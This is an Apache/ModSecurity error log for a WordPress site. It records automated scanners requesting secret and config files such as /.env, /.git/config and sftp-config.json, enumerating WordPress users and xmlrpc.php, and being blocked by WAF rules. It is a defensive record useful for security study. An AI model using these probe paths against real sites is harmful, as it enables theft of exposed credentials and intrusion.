[Tue Dec 30 15:36:30.716083 2025] [:error] [pid 47553:tid 47577] [client 103.65.236.149:56547] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aVOA_rvhy9HerwSnwIS8ywAAAZY"]
[Tue Dec 30 15:45:39.759892 2025] [:error] [pid 28824:tid 28855] [client 160.191.139.215:35854] [client 160.191.139.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.139.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVODI38FhtgLvBhuCR0dvgAAAIo"]
[Tue Dec 30 16:41:44.699604 2025] [:error] [pid 47441:tid 47446] [client 103.90.233.71:51718] [client 103.90.233.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.233.71, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVOQSC6d2esGSN6Ne3MgtQAAAUI"]
[Tue Dec 30 16:56:56.040652 2025] [:error] [pid 47441:tid 47449] [client 185.199.223.27:49708] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVOT2C6d2esGSN6Ne3MjuwAAAUU"]
[Tue Dec 30 17:20:03.872478 2025] [:error] [pid 28824:tid 28855] [client 139.59.136.184:55510] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/api-docs"] [unique_id "aVOZQ38FhtgLvBhuCR0qHgAAAIo"]
[Tue Dec 30 17:20:04.786816 2025] [:error] [pid 28825:tid 28898] [client 139.59.136.184:55522] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3/api-docs"] [unique_id "aVOZRD6dbc1G2hX-KfQ5JQAAANM"]
[Tue Dec 30 17:20:05.758597 2025] [:error] [pid 47441:tid 47468] [client 139.59.136.184:55538] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api-docs/swagger.json"] [unique_id "aVOZRS6d2esGSN6Ne3Mo2AAAAVg"]
[Tue Dec 30 17:20:06.772457 2025] [:error] [pid 47441:tid 47446] [client 139.59.136.184:55554] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api/swagger.json"] [unique_id "aVOZRi6d2esGSN6Ne3Mo2QAAAUI"]
[Tue Dec 30 17:20:07.778894 2025] [:error] [pid 47441:tid 47445] [client 139.59.136.184:55558] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/@vite/env"] [unique_id "aVOZRy6d2esGSN6Ne3Mo3gAAAUE"]
[Tue Dec 30 17:20:08.806990 2025] [:error] [pid 28825:tid 28903] [client 139.59.136.184:56618] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/actuator/env"] [unique_id "aVOZSD6dbc1G2hX-KfQ5JwAAANg"]
[Tue Dec 30 17:20:09.834186 2025] [:error] [pid 28954:tid 28973] [client 139.59.136.184:56634] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aVOZSaRZgqk7uuu8M0wX_QAAABE"]
[Tue Dec 30 17:20:10.866203 2025] [:error] [pid 28825:tid 28891] [client 139.59.136.184:56642] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aVOZSj6dbc1G2hX-KfQ5KgAAAMw"]
[Tue Dec 30 17:20:11.861213 2025] [:error] [pid 47441:tid 47457] [client 139.59.136.184:56656] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aVOZSy6d2esGSN6Ne3Mo3wAAAU0"]
[Tue Dec 30 17:20:13.898482 2025] [:error] [pid 28826:tid 28930] [client 139.59.136.184:56662] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aVOZTfOyQggePm1Ed9t2cgAAARc"]
[Tue Dec 30 17:20:14.836515 2025] [:error] [pid 47441:tid 47448] [client 139.59.136.184:56664] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aVOZTi6d2esGSN6Ne3Mo4gAAAUQ"]
[Tue Dec 30 17:20:15.818655 2025] [:error] [pid 47441:tid 47467] [client 139.59.136.184:56678] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aVOZTy6d2esGSN6Ne3Mo5AAAAVc"]
[Tue Dec 30 17:20:16.846488 2025] [:error] [pid 38777:tid 38779] [client 139.59.136.184:56692] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aVOZUGLn9GPxJXPhnHbweAAAAEA"]
[Tue Dec 30 17:20:17.786020 2025] [:error] [pid 28826:tid 28920] [client 139.59.136.184:56706] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aVOZUfOyQggePm1Ed9t2eAAAAQ0"]
[Tue Dec 30 17:20:18.871759 2025] [:error] [pid 47553:tid 47571] [client 139.59.136.184:57976] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aVOZUrvhy9HerwSnwITVWAAAAZA"]
[Tue Dec 30 17:20:19.879733 2025] [:error] [pid 47553:tid 47574] [client 139.59.136.184:57982] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aVOZU7vhy9HerwSnwITVWQAAAZM"]
[Tue Dec 30 17:20:20.897706 2025] [:error] [pid 47553:tid 47569] [client 139.59.136.184:57990] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aVOZVLvhy9HerwSnwITVXAAAAY4"]
[Tue Dec 30 17:20:21.820728 2025] [:error] [pid 47441:tid 47465] [client 139.59.136.184:57994] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aVOZVS6d2esGSN6Ne3Mo7QAAAVU"]
[Tue Dec 30 17:20:23.926473 2025] [:error] [pid 47553:tid 47563] [client 139.59.136.184:58006] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aVOZV7vhy9HerwSnwITVZQAAAYg"]
[Tue Dec 30 17:20:24.930558 2025] [:error] [pid 28824:tid 28869] [client 139.59.136.184:58014] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aVOZWH8FhtgLvBhuCR0qMQAAAJg"]
[Tue Dec 30 17:20:25.917939 2025] [:error] [pid 38777:tid 38788] [client 139.59.136.184:58018] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aVOZWWLn9GPxJXPhnHbwhQAAAEg"]
[Tue Dec 30 17:20:26.910354 2025] [:error] [pid 47553:tid 47565] [client 139.59.136.184:58026] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aVOZWrvhy9HerwSnwITVawAAAYo"]
[Tue Dec 30 17:20:27.929867 2025] [:error] [pid 28824:tid 28864] [client 139.59.136.184:58036] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVOZW38FhtgLvBhuCR0qNAAAAJM"]
[Tue Dec 30 17:20:28.909657 2025] [:error] [pid 28826:tid 28914] [client 139.59.136.184:39902] [client 139.59.136.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVOZXPOyQggePm1Ed9t2fwAAAQg"]
[Tue Dec 30 17:55:14.163547 2025] [:error] [pid 47441:tid 47452] [client 195.234.138.24:57754] [client 195.234.138.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.234.138.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVOhgi6d2esGSN6Ne3MvgAAAAUg"]
[Tue Dec 30 18:44:12.145652 2025] [:error] [pid 47553:tid 47556] [client 188.166.24.174:32780] [client 188.166.24.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.24.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVOs_Lvhy9HerwSnwITs1wAAAYE"]
[Tue Dec 30 18:44:44.830771 2025] [:error] [pid 28825:tid 28883] [client 94.187.16.103:1135] [client 94.187.16.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.187.16.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVOtHD6dbc1G2hX-KfRHcwAAAMQ"]
[Tue Dec 30 19:35:21.811083 2025] [:error] [pid 47441:tid 47452] [client 62.84.186.201:56530] [client 62.84.186.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.84.186.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVO4-S6d2esGSN6Ne3NHywAAAUg"]
[Tue Dec 30 20:09:20.318956 2025] [:error] [pid 38777:tid 38792] [client 94.187.16.103:1117] [client 94.187.16.103] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aVPA8GLn9GPxJXPhnHYRIgAAAEw"]
[Tue Dec 30 20:11:01.910080 2025] [:error] [pid 47553:tid 47561] [client 94.187.16.103:1140] [client 94.187.16.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.187.16.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPBVbvhy9HerwSnwIQHcQAAAYY"]
[Tue Dec 30 20:12:16.889534 2025] [:error] [pid 28826:tid 28916] [client 94.187.16.103:1117] [client 94.187.16.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.187.16.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPBoPOyQggePm1Ed9uVPAAAAQo"]
[Tue Dec 30 20:13:32.162749 2025] [:error] [pid 47553:tid 47570] [client 94.187.16.103:1135] [client 94.187.16.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.187.16.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPB7Lvhy9HerwSnwIQIFQAAAY8"]
[Tue Dec 30 20:14:51.119827 2025] [:error] [pid 47441:tid 47457] [client 94.187.16.103:1107] [client 94.187.16.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.187.16.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPCOy6d2esGSN6Ne3NQDQAAAU0"]
[Tue Dec 30 20:16:09.167532 2025] [:error] [pid 28824:tid 28848] [client 94.187.16.103:1141] [client 94.187.16.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.187.16.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPCiX8FhtgLvBhuCR1H1gAAAIM"]
[Tue Dec 30 20:29:43.711245 2025] [:error] [pid 47553:tid 47575] [client 45.12.18.180:33150] [client 45.12.18.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.12.18.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPFt7vhy9HerwSnwIQLgwAAAZQ"]
[Tue Dec 30 20:54:14.488432 2025] [:error] [pid 47441:tid 47466] [client 103.77.106.57:53990] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aVPLdi6d2esGSN6Ne3NZaAAAAVY"]
[Tue Dec 30 20:54:16.555540 2025] [:error] [pid 47441:tid 47465] [client 103.77.106.57:54142] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aVPLeC6d2esGSN6Ne3NZiAAAAVU"]
[Tue Dec 30 20:54:17.592163 2025] [:error] [pid 38777:tid 38786] [client 103.77.106.57:54466] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aVPLeWLn9GPxJXPhnHYYzgAAAEY"]
[Tue Dec 30 21:24:45.069676 2025] [:error] [pid 28825:tid 28881] [client 62.210.64.72:59564] [client 62.210.64.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.210.64.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPSnT6dbc1G2hX-KfRhGwAAAMI"]
[Tue Dec 30 21:57:15.156663 2025] [:error] [pid 47441:tid 47468] [client 34.83.113.171:50462] [client 34.83.113.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.113.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPaOy6d2esGSN6Ne3NtZQAAAVg"]
[Tue Dec 30 21:57:18.925761 2025] [:error] [pid 47441:tid 47448] [client 34.83.113.171:50462] [client 34.83.113.171] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVPaPi6d2esGSN6Ne3NtbwAAAUQ"]
[Tue Dec 30 21:57:20.476818 2025] [:error] [pid 47441:tid 47450] [client 34.83.113.171:50462] [client 34.83.113.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.113.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPaQC6d2esGSN6Ne3NtcgAAAUY"]
[Tue Dec 30 21:57:22.344253 2025] [:error] [pid 47553:tid 47557] [client 34.83.113.171:61070] [client 34.83.113.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.113.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPaQrvhy9HerwSnwIQepwAAAYI"]
[Tue Dec 30 21:57:24.485192 2025] [:error] [pid 47441:tid 47461] [client 34.83.113.171:59365] [client 34.83.113.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.113.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPaRC6d2esGSN6Ne3NteAAAAVE"]
[Tue Dec 30 21:57:26.500521 2025] [:error] [pid 28824:tid 28845] [client 34.83.113.171:65243] [client 34.83.113.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.113.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPaRn8FhtgLvBhuCR1XxgAAAIA"]
[Tue Dec 30 21:57:28.711470 2025] [:error] [pid 28954:tid 28964] [client 34.83.113.171:65037] [client 34.83.113.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.113.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPaSKRZgqk7uuu8M0xKBwAAAAg"]
[Tue Dec 30 21:57:28.711683 2025] [:error] [pid 28954:tid 28964] [client 34.83.113.171:65037] [client 34.83.113.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.83.113.171, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVPaSKRZgqk7uuu8M0xKBwAAAAg"]
[Wed Dec 31 00:02:23.725773 2025] [:error] [pid 28824:tid 28868] [client 82.165.89.123:60272] [client 82.165.89.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.89.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVP3j38FhtgLvBhuCR1yJQAAAJc"]
[Wed Dec 31 00:13:06.912847 2025] [autoindex:error] [pid 49981:tid 49986] [client 159.89.181.56:58177] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 31 01:05:39.711743 2025] [:error] [pid 49982:tid 50016] [client 198.71.53.139:33832] [client 198.71.53.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.71.53.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVQGYyFJSHqasQiscZ7hZQAAAME"]
[Wed Dec 31 02:19:45.530515 2025] [:error] [pid 50068:tid 50070] [client 49.233.45.47:43680] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVQXwfJem-CRnWG3ZuyOdwAAAAA"]
